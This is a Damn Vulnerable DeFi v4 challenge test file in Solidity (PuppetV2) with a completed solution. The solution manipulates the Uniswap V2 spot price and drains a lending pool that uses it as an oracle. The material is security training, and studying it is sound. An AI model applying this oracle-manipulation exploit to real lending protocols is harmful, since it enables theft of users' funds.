-
Notifications
You must be signed in to change notification settings - Fork 0
/
PuppetV2.t.sol
136 lines (113 loc) · 5.24 KB
/
PuppetV2.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {IUniswapV2Pair} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import {IUniswapV2Factory} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {PuppetV2Pool} from "../../src/puppet-v2/PuppetV2Pool.sol";
contract PuppetV2Challenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 100e18;
uint256 constant UNISWAP_INITIAL_WETH_RESERVE = 10e18;
uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 10_000e18;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 20e18;
uint256 constant POOL_INITIAL_TOKEN_BALANCE = 1_000_000e18;
WETH weth;
DamnValuableToken token;
IUniswapV2Factory uniswapV2Factory;
IUniswapV2Router02 uniswapV2Router;
IUniswapV2Pair uniswapV2Exchange;
PuppetV2Pool lendingPool;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deploy tokens to be traded
token = new DamnValuableToken();
weth = new WETH();
// Deploy Uniswap V2 Factory and Router
uniswapV2Factory = IUniswapV2Factory(
deployCode(string.concat(vm.projectRoot(), "/builds/uniswap/UniswapV2Factory.json"), abi.encode(address(0)))
);
uniswapV2Router = IUniswapV2Router02(
deployCode(
string.concat(vm.projectRoot(), "/builds/uniswap/UniswapV2Router02.json"),
abi.encode(address(uniswapV2Factory), address(weth))
)
);
// Create Uniswap pair against WETH and add liquidity
token.approve(address(uniswapV2Router), UNISWAP_INITIAL_TOKEN_RESERVE);
uniswapV2Router.addLiquidityETH{value: UNISWAP_INITIAL_WETH_RESERVE}({
token: address(token),
amountTokenDesired: UNISWAP_INITIAL_TOKEN_RESERVE,
amountTokenMin: 0,
amountETHMin: 0,
to: deployer,
deadline: block.timestamp * 2
});
uniswapV2Exchange = IUniswapV2Pair(uniswapV2Factory.getPair(address(token), address(weth)));
// Deploy the lending pool
lendingPool =
new PuppetV2Pool(address(weth), address(token), address(uniswapV2Exchange), address(uniswapV2Factory));
// Setup initial token balances of pool and player accounts
token.transfer(player, PLAYER_INITIAL_TOKEN_BALANCE);
token.transfer(address(lendingPool), POOL_INITIAL_TOKEN_BALANCE);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertEq(token.balanceOf(player), PLAYER_INITIAL_TOKEN_BALANCE);
assertEq(token.balanceOf(address(lendingPool)), POOL_INITIAL_TOKEN_BALANCE);
assertGt(uniswapV2Exchange.balanceOf(deployer), 0);
// Check pool's been correctly setup
assertEq(lendingPool.calculateDepositOfWETHRequired(1 ether), 0.3 ether);
assertEq(lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE), 300000 ether);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_puppetV2() public checkSolvedByPlayer {
// 1. Approve Uniswap Router to spend DVT tokens
token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
// 2. Swap DVT for WETH to manipulate the price
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
uniswapV2Router.swapExactTokensForETH(PLAYER_INITIAL_TOKEN_BALANCE, 0, path, player, block.timestamp);
// 3. Wrap all ETH to WETH
uint256 playerEthBalance = player.balance;
weth.deposit{value: playerEthBalance}();
// 4. Calculate required WETH to borrow all DVT from the pool
uint256 poolDvtBalance = token.balanceOf(address(lendingPool));
uint256 wethRequired = lendingPool.calculateDepositOfWETHRequired(poolDvtBalance);
// 5. Approve PuppetV2Pool to spend the exact amount of WETH required
weth.approve(address(lendingPool), wethRequired);
// 6. Borrow all DVT from the pool
lendingPool.borrow(poolDvtBalance);
// 7. Transfer borrowed DVT to recovery address
token.transfer(recovery, poolDvtBalance);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
assertEq(token.balanceOf(address(lendingPool)), 0, "Lending pool still has tokens");
assertEq(token.balanceOf(recovery), POOL_INITIAL_TOKEN_BALANCE, "Not enough tokens in recovery account");
}
}